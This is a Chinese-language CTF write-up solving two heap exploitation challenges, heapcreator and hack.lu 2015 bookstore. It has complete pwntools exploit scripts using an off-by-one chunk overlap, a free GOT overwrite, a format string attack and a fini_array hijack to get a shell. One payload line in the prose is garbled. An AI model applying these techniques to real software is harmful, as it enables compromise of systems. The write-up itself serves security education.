https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/chunk-extend-shrink/hitcontraning_lab13
grxer@grxer ~/D/c/p/heap> checksec heapcreator
[*] '/home/grxer/Desktop/ctfwiki/pwn/heap/heapcreator'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
heaparray是一个在bss段的全局heap结构体数组
struct heap {
size_t size ;
char *content ;
};
free后没有将content指针置零
在edit时还存在off by one漏洞
if ( heaparray[v1] )
{
printf("Content of heap : ");
read_input(heaparray[v1]->content, heaparray[v1]->size + 1);
puts("Done !");
}
我们可以利用空间复用的机制改掉下一个chunk的size
create(0x18, b"one")
create(0x10, b"two")
会创建出4个0x20的chunk,其中one的chunk会利用two的pre_size来存放数据
这样我们编辑one的context就可以控制two的size
edit(0, “/bin/sh\x00” + “a” * 0x10 + “\x41”)
改为41
再释放two delete(1) 可以看到已经有了overlap的chunk
再申请一个堆块create(0x30, p64(0) * 4 + p64(0x30) + p64(elf.got[‘free’]))
这样我们的 *heap会申请到0x20的chunk,content会申请到0x40的chunk,我们的0x40chunk会overlap到0x20的chunk,从而控制其内容,我们把他的content指针改为got就,可以在show的时候输出地址
这样就可以得到system地址,这时候去edit two,就会修改free got里面内容,改为system,再去delete one,加上我们之前输入的binsh就可以拿到shell
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./heapcreator'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))
def create(size, content):
io.recvuntil(b":")
io.sendline(b"1")
io.recvuntil(b":")
io.sendline(str(size).encode())
io.recvuntil(b":")
io.sendline(content)
def edit(idx, content):
io.recvuntil(b":")
io.sendline(b"2")
io.recvuntil(b":")
io.sendline(str(idx).encode())
io.recvuntil(b":")
io.sendline(content)
def show(idx):
io.recvuntil(b":")
io.sendline(b"3")
io.recvuntil(b":")
io.sendline(str(idx).encode())
def delete(idx):
io.recvuntil(b":")
io.sendline(b"4")
io.recvuntil(b":")
io.sendline(str(idx).encode())
db('b *0x00400A43')
create(0x18, b"one")
create(0x10, b"two")
edit(0, b"/bin/sh\x00" + b"a" * 0x10 + b"\x41")
delete(1)
create(0x30, p64(0) * 4 + p64(0x30) + p64(elf.got['free'])) #1
show(1)
ru(b"Content : ")
free_ad =u64(r(6).ljust(8,b'\x00'))
p('free_addr',free_ad)
libc=LibcSearcher('free',free_ad)
base=free_ad-libc.dump('free')
p('base',base)
system=base+libc.dump('system')
edit(1,p64(system))
delete(0)
io.interactive()
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/chunk-extend-shrink/2015_hacklu_bookstore
grxer@grxer ~/D/c/p/heap> checksec books_e_o
[*] '/home/grxer/Desktop/ctfwiki/pwn/heap/books_e_o'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
稍微看一下漏洞挺多的
堆我们不能自己申请,只能main前面申请了0x80大小的三个堆,后面submit时一个0x140堆
print(dest)
dest是第三个堆,我们可以利用先利用覆盖漏洞将第二个堆的size覆盖为0x150这样再delete这个堆就会把dest一块释放到bins,后面再submit申请时,就会申请到这个堆,submit这个堆是可以利用堆1和堆2中的值控制的,从而计算好偏移,控制dest,进一步利用格式化字符串漏洞
unsigned __int64 __fastcall submit(char *all, const char *order1, char *order2)
{
size_t v3; // rax
size_t v4; // rax
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
strcpy(all, "Order 1: ");
v3 = strlen(order1);
strncat(all, order1, v3);
strcat(all, "\nOrder 2: ");
v4 = strlen(order2);
strncat(all, order2, v4);
*(_WORD *)&all[strlen(all)] = '\n';
return __readfsqword(0x28u) ^ v7;
}
利用格式化漏洞基本上都要先泄露地址,再布置改写地址,此题也不例外
}
printf("%s", v5);
printf(dest);
return 0LL;
但是在格式化字符串漏洞之后,就会ret,无法再次利用,这就需要我们利用 fini_array hook掉执行流
fini_array hook
.init_array
和.fini_array
中存放了指向初始化代码和终止代码的函数指针。
.init_array
会在main()函数调用前执行,这样可以通过修该地址的指针来将控制流指向病毒或者寄生代码,因为比main执行还早,大部分恶意软件都是hook这个,感觉c++的构造函数或许和这个相关
.fini_array
函数指针在 main() 函数执行完之后才被触发,感觉c++的析构函数或许和这个相关array[1]->array[0]
这样我们就可以二次利用漏洞进行改写地址
刚开始的堆
payload = b"%“+str(2617).encode()+b"c%13$hn” + b’abc%51$p’ + b’def%26$p’
payload += b’A’*(0x74-len(payload))
payload=payload.ljust(0x88,b’\x00’)
payload += p64(0x151)
edit(1,payload)
覆盖size的堆
这里payload的%51是返回地址__libc_start_main+128的
为什么是0x74呢
这里submit函数可以看出他还进行拼接,正常的话需要0x90个字节到达dest内容,
‘Order 1:
+
chunk1+
\n+
Order 2:+
Order 1: ’ 拼接导致他会多28个字节0x90-28=0x74
我们再
delete(2)
payload2 = p8(0x0)*7 + p64(fini_array)
submit(payload2)
fgets(s, 128, stdin);
switch ( s[0] )
{
case '1':
puts("Enter first
这里我们利用fget,的s是在栈上的,gdb得到fini_array被写到了格式化字符串第13个参数
0x400830和main地址 0x400A39只有一个字节的差距我们在第一个payload利用b"%"+str(2617).encode()+b"c%13$hn"改写为main,这样main ret是会再次返回到main
第一个pay的%26$p是
他和后面的返回地址已经下次hook返回到main的地址的返回地址的栈地址偏移是固定的
计算出来ret_bp=fixed-0x461-0x100
这样我们就可以改写这个main的返回地址为one_gadget地址
payload=b’%‘+str(one_gadget&0xff).encode()+b’c%13 h h n hhn%'+str(((one_gadget>>8)&0xffff)-(one_gadget&0xff)).encode()+b'c%14 hhnhn’
print(payload)
payload += b’A’*(0x74-len(payload))
payload=payload.ljust(0x88,b’\x00’)
payload += p64(0x151)
edit(1,payload)
delete(2)
payload=p8(0x0)*7+p64(ret_bp)+p64(ret_bp+1)
submit(payload)
拿到shell
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./books_e_o'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
io = remote()
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))
def edit(order, name):
io.recvuntil(b'5: Submit\n')
io.sendline(str(order).encode())
io.recvuntil(b' order:\n')
io.sendline(name)
def delete(order):
io.recvuntil(b'5: Submit\n')
io.sendline(str(order + 2).encode())
def submit(payload):
io.recvuntil(b'5: Submit\n')
io.sendline(b'5' + payload)
io.recvuntil(b'Order 1: ')
io.recvuntil(b'Order 2: Order 1: ')
# db('b *0x400A91')
free_got = elf.got['free']
fini_array = 0x6011B8
main_addr = 0x400A39
payload = b"%"+str(2617).encode()+b"c%13$hn" + b'abc%51$p' + b'def%26$p'
payload += b'A'*(0x74-len(payload))
payload=payload.ljust(0x88,b'\x00')
payload += p64(0x151)
edit(1,payload)
delete(2)
payload2 = p8(0x0)*7 + p64(fini_array)
submit(payload2)
ru(b'abc')
ru(b'abc')
__libc_start_main=int(r(14),16)-128
ru(b'def')
fixed=int(r(14),16)
p('__libc_start_main',__libc_start_main)
p('fixed',fixed)
libc=LibcSearcher('__libc_start_main',__libc_start_main)
base=__libc_start_main-libc.dump('__libc_start_main')
ret_bp=fixed-0x461-0x100
p('ret_bp',ret_bp)
one_gadget=0xebcf5+base
p('one_gadget',one_gadget)
print((one_gadget>>8)&0xffff)
payload=b'%'+str(one_gadget&0xff).encode()+b'c%13$hhn%'+str(((one_gadget>>8)&0xffff)-(one_gadget&0xff)).encode()+b'c%14$hn'
print(payload)
payload += b'A'*(0x74-len(payload))
payload=payload.ljust(0x88,b'\x00')
payload += p64(0x151)
edit(1,payload)
delete(2)
payload=p8(0x0)*7+p64(ret_bp)+p64(ret_bp+1)
submit(payload)
io.interactive()